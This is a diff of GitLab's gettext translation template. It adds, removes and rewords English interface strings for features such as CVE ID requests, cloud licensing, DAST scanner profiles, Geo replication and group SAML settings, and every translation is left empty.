+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
